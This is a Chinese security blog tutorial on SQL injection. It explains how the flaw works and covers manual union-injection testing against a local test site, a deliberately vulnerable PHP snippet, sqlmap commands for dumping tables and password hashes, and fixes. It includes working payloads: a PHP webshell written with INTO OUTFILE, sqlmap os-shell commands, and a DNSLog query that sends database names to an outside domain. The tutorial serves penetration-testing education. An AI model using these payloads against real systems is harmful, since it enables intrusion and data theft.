当前位置:网站首页>Web漏洞详解:SQL注入漏洞
Web漏洞详解:SQL注入漏洞
2022-04-21 07:23:00 【午夜安全】
工作多年后,我打算将Web漏洞做一个整理记录,一方面方便自己,另一方面方便想要学习或转行网络安全行业的小伙伴,从本文开始,我将从漏洞原理、漏洞测试、漏洞修复等方面详细讲解Web系列漏洞。
1.SQL注入漏洞原理
SQL注入漏洞,就是通过把SQL命令插入到URL地址、Web表单提交或页面请求的查询字符串中,最终达到欺骗服务器执行恶意的SQL 命令。漏洞成因是程序没有对用户输入的内容进行安全检查,直接代入数据库进行查询,导致了sql注入的发生。
SQL注入漏洞包括:union注入、boolean注入、报错注入、时间盲注、堆叠查询注入、二次注入、宽字节注入、cookie注入、base64注入、XFF注入等。
2.SQL注入漏洞测试
2.1SQL注入漏洞发现
判断是否存在注入漏洞,使用单引号报错, and 1=1页面正常,and 1=2页面不正常,则判断存在sql注入漏洞。
2.2SQL注入漏洞手动测试
上面说过SQL注入漏洞分了很多种类,受限于篇幅,这里只以union注入举例,其他将附上链接,感兴趣的小伙伴可以自行查看。
(1)union注入,又称联合注入,它是利用union和前面的一条SQL语句拼接,并构造其列数与前面的SQL语句列数相同。
A.判断是否存在漏洞:(www.test.com为本地搭建环境)
http://www.test.com/web/union.php?id=1
http://www.test.com/web/union.php?id=1'
http://www.test.com/web/union.php?id=1 and 1=1
http://www.test.com/web/union.php?id=1 and 1=2
B.查询字段数量
http://www.test.com/web/union.php?id=1 order by 3
当id=1 order by 3时,页面返回与id=1相同的结果;而id=1 order by 4时不一样,故字段数量是3。

C.查询SQL语句插入位置
http://www.test.com/web/union.php?id=-1 union select 1,2,3
可以看到2,3位置可以插入SQL语句。

D.获取当前数据库库名
2位置修改为:database()
http://www.tianchi.com/web/union.php?id=-1 union select 1,database(),3

源码:
<?php
$con=mysqli_connect("localhost","root","root","security");
mysqli_set_charset($con,'utf8');
if(!$con){
echo "Connect failed : ".mysqli_connect_error();
}
$id=$_GET['id'];
$result=mysqli_query($con,"select * from users where id=".$id );
$row=mysqli_fetch_array($result);
echo $row['username']." : ".$row['password'];
?>
union注入详解:https://blog.csdn.net/SouthWind0/article/details/82913183
(2)Boolean注入:构造SQL判断语句,通过查看页面的返回结果来推测哪些SQL判断条件是成立的,以此来获取数据库中的数据。
Boolean注入详解:https://blog.csdn.net/SouthWind0/article/details/82917798
(3)报错注入:输入'等字符,SQL语句报错,程序直接将错误信息输出到了页面上,就可以尝试利用报错注入来获取数据。常用到的函数:updatexml() 、extractvalue()、exp()、floor()等。
报错注入详解:https://blog.csdn.net/SouthWind0/article/details/82924149
(4)时间盲注:利用sleep()或benchmark()等函数让mysql执行时间变长经常与if(expr1,expr2,expr3)语句结合使用,通过页面的响应时间来判断条件是否正确。if(expr1,expr2,expr3)含义是如果expr1是True,则返回expr2,否则返回expr3。
时间盲注详解:https://blog.csdn.net/SouthWind0/article/details/82926845
(5)堆叠查询注入:堆叠查询可以执行多条SQL语句,语句之间以分号(;)隔开。而堆叠查询注入攻击就是利用此特点,在第二条语句中构造自己要执行的语句。
堆叠查询注入详解:https://blog.csdn.net/SouthWind0/article/details/82929895
(6)二次注入:攻击者构造的恶意数据存储到数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。
二次注入详解:https://blog.csdn.net/SouthWind0/article/details/82931871
(7)宽字节注入:id=1’时并没有报错,但多了一个转义符,反斜杠,在地址后先加%df,再加单引号,因为反斜杠的编码是%5c,而GBK编中,%df%5c是繁体字的“連”,单引号成功逃逸。再使用注释符来注释后面多余的单引号。
宽字节注入详解:https://blog.csdn.net/SouthWind0/article/details/83342847
(8)cookie注入:指的是针对cookie数据进行注入。
cookie注入详解:https://blog.csdn.net/SouthWind0/article/details/83343914
(9)base64注入是针对传递的参数被base64加密后的注入点进行注入。这种方式常用来绕过一些WAF的检测。
Base64注入详解:https://blog.csdn.net/SouthWind0/article/details/83344880
(10)XFF注入:指的是针对X-Forwarded-For进行注入,X-Forwarded-For简称XFF头,它代表了客户端的真实IP,通过修改他的值就可以伪造客户端IP。
XFF注入详解:https://blog.csdn.net/SouthWind0/article/details/83348706
2.3SQL注入漏洞自动化测试
在真实的测试环境中,一般都是使用自动化工具进行测试SQL注入,sqlmap是当前安全工程师最喜欢使用的SQL注入自动化工具,它的基本用法如下:
测试GET型:
(1)判断是否存在注入
sqlmap.py -u “http://xx.com/index.php?id=1”
(2)获取所有数据库
sqlmap.py -u “http://xx.com/index.php?id=1” --dbs
(3)获取数据库中的表名
sqlmap.py -u “http://xx.com/index.php?id=1” -D security --tables
(4)获取表中的字段名
sqlmap.py -u “http://xx.com/index.php?id=1” -D security -T users --columns
(5)获取字段的内容
sqlmap.py -u “http://xx.com/index.php?id=1” -D security -T users -C username,password --dump
常用命令:
列出所有用户:sqlmap.py -u “http://xx.com/index.php?id=1” --users
获取用户密码:sqlmap.py -u “http://xx.com/index.php?id=1” --passwords
获取当前网站数据库名称:
sqlmap.py -u “http://xx.com/index.php?id=1” --current-db
测试POST型:测试POST型请求报文、Cookie信息等。
(1)cookie注入,猜解表
sqlmap.py -u “http://xx.com/index.php” --cookie “id=1” --level 2 -D security --tables
探测等级:--level,一共5个等级,可以不加level,默认为1。为2时会测试cookie,为3时会测试User-Agent/Referer。总之为了保证全面性,建议使用高的level。
(2)判断文本请求是否存在注入
sqlmap.py -r 1.txt
2.4SQL注入漏洞深层次利用
(1)手动利用
最常见的用法是利用SQL注入向服务器写入webshell,网站路径可以通过phpinfo()页面信息、系统信息、以及数据包泄露绝对路径获得。写入一句话利用(注意写入目录需要有权限),其中x为php文件名:
select '<?php @eval($_POST[cmd]);?>' into outfile '/var/www/html/x';
如下所示:
http://xx.test/test/union.php?id=-1%20union%20select%201,2,%27%3C?php%20@eval($_POST[cmd]);?%3E%27%20into%20outfile%20%27/var/www/html/test/shell.php%27

(2)利用sqlmap
反弹一个osshell:
python sqlmap.py -d "mysql://root:[email protected]:3306/security" --os-shell
执行操作系统命令:
python sqlmap.py -d "mysql://root:[email protected]:3306/security" --os-cmd=OSCMD
数据库提权:--priv-esc
获取数据库shell:--sql-shell
注意:MySQL读写文件的条件限制,SQLMAP获取os-shell的需要文件写入操作:
(1)、MySQL服务默认以mysql用户权限启动,并没有危险目录(/usr/lib64/mysql/plugin[root 755]、/var/www/html[root 755]、/var/spool/cron[root 700]、/root/.ssh[root 700]等)下的文件写入权限。
(2)、MySQL 5.6.34版本以后的secure_file_priv参数默认值为NULL或指定的/var/lib/mysql-files,即禁止在危险目录写入。
(3)DNSLog外带
对于SQL盲注(布尔盲注、时间盲注),以及只有DNS出网的SQL注入,我们可以利用DNSLog来获取信息。作为攻击者,提交注入语句,让数据库把需要查询的值和域名拼接起来,然后发生DNS查询,我们只要能获得DNS的日志,就得到了想要的值。所以我们需要有一个自己的域名,然后在域名商处配置一条NS记录,然后我们在NS服务器上面获取DNS日志即可。
mysql通常会利用内置函数load_file()来完成DNSLOG,load_file()不仅能够加载本地文件,同时也能对诸如\\www.test.com这样的URL发起请求。
通过show variables like '%secure%';查看load_file()可以读取的磁盘。
A.当secure_file_priv为空,就可以读取磁盘的目录。
B.当secure_file_priv为G:\,就可以读取G盘的文件。
C.当secure_file_priv为null,load_file就不能加载文件。
通过设置my.ini来配置。secure_file_priv=""就是可以load_flie任意磁盘的文件。举例:select load_file(concat('\\\\',(select database()),'.mysql.uj4j2o.dnslog.cn\\abc'));
注意:load_file函数在Linux下是无法用来做dnslog攻击的,因为在这里就涉及到Windows的一个小Tips——UNC路径。
3.SQL注入漏洞修复
(1)建议不要直接拼接SQL语句,而应该使用预编译的方式进行参数化查询,这是解决此漏洞的根本方法。
正确写法:select * from user where name = #{name};//这种底层会解析成预编译语句 select * from user where name = ?
错误写法:select * from user where name = ${name};
(2)对用户的输入进行检验过滤,过滤危险字符,如:;、'、"、()、,、\、--+、#、and、or、union、select、where、limit、group、by、hex、substr。此种方法存在缺陷,一方面可能会影响业务,另一方面可能会存在绕过。
(3)为每个应用使用单独的、权限有限的数据库连接。
(4)机密信息应该加密,秘钥信息分开存放,这样即使数据泄露,攻击者也无法解密。
版权声明
本文为[午夜安全]所创,转载请带上原文链接,感谢
https://yunye.blog.csdn.net/article/details/124308174
边栏推荐
- Question bank and answers of Electrical Engineering (elementary) examination in 2022
- go-ini的用法
- Hcip221 question bank
- 【模板】线段树优化建图
- What is the difference between localhost and 127.0.0.1? (Reprinted)
- 【大话云原生】负载均衡篇-小饭馆客流量变大了
- js力扣每日一题(2022/4/20)---388.文件的最长绝对路径
- Execute rule after MySQL where condition
- Mysql双主双从+Atlas数据测试
- Solution of losing Beijing time zone in window system
猜你喜欢

这是哪种插入数据库的编程语言

Display selection reference ladder

从源码角度剖析redis分布式锁

Error: ER_NOT_SUPPORTED_AUTH_MODE: Client does not support authentication protocol requested by serv

Apache solr 远程代码执行漏洞(CVE-2019-0193)复现

CouchDB vertical ultra vires

Usage of go language log Uber go / zap / lumberjack

go-数组 切片

Mathematical experiment -- function drawing experiment

多分类逻辑回归判断三分类鸢尾花
随机推荐
图片素材 免费素材 图片素材网站 图片素材在哪里找 哪里有的图片素材下载 图片素材的用途 图片素材 产品图片素材网站 什么的素材可以 PPT素材
Usage of go language log Uber go / zap / lumberjack
[PROJECT] small hat takeout (V)
【一、xxx病虫害检测项目】2、网络结构尝试改进:Resnet50、SE、CBAM、Feature Fusion
The interface is not restored after Fiddler changes the font
libevent实现UDP通信
数据探索性分析(EDA)之数据分布、相关性分析及可视化方法
【2022DASCTF X SU】 三月春季挑战赛 web复现
Apache solr 远程代码执行漏洞(CVE-2019-0193)复现
LVGL真的需要每个控件写代码?别天真了,知道了原理我们来拖控件吧~
Playwright click timeout attribute, the time to wait for the element to appear
It can be downloaded to the data set running loam
[Ethernet switching security] - port security and MAC address drift prevention and detection
go-ini的用法
Informatics Aosai yibentong 1209: score summation | openjudge 1.13 12: score summation
VMware 16 newly installed win11 professional edition, unable to read the ISO image, unable to start the installer
HTTP缓存策略与方案
Yolov5.0 calling local camera
数据探索性分析(EDA)常用方法大合集
Yolov5 model environment construction and Google lab training